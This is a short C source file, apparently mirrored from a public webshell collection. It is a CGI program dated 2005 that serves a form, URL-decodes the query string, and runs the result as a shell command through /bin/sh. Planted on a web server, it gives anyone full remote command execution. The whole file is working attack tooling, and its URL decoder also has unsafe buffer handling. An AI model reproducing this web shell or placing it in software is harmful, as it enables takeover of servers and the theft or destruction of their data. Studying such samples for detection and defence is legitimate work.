mirror of
https://github.com/tennc/webshell
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75 lines
1.3 KiB
C
75 lines
1.3 KiB
C
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//
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// cmdcgi.exe 0.1 darkraver (12/05/2005)
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//
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#include <stdio.h>
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char *uri_decode(char *uri) {
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int i=0;
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int ptr=0;
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char *command;
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char hexa[3];
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char code;
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command=(char *)malloc(strlen(uri));
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for(i=0;i<strlen(uri);i++) {
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switch(*(uri+i)) {
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case '+':
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*(command+ptr)=' ';
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ptr++;
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break;
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case '%':
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sprintf(hexa, "%c%c\x00", *(uri+i+1), *(uri+i+2));
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i+=2;
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//printf("HEXA: %s\n", hexa);
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sscanf(hexa, "%x", &code);
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//printf("CODE: %c\n", code);
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*(command+ptr)=code;
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ptr++;
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break;
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default:
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*(command+ptr)=*(uri+i);
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ptr++;
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break;
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}
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}
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*(command+ptr)='\0';
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return command;
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}
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int main(int argc, char **argv) {
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char *cmd;
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printf("Content-type: text/html\n\n");
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printf("<html><body>\n");
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cmd=(char *)getenv("QUERY_STRING");
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if(!cmd || strlen(cmd)==0) {
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printf("<hr><p><form method=\"GET\" name=\"myform\" action=\"\">");
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printf("<input type=\"text\" name=\"cmd\">");
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printf("<input type=\"submit\" value=\"Send\">");
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printf("<br><br><hr></form>");
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} else {
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//printf("QUERY_STRING: %s\n", cmd);
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cmd+=4;
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cmd=uri_decode(cmd);
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printf("<hr><p><b>COMMAND: %s</b><br><br><hr><pre>\n", cmd);
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fflush(stdout);
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execl("/bin/sh", "/bin/sh", "-c", cmd, 0);
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}
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}
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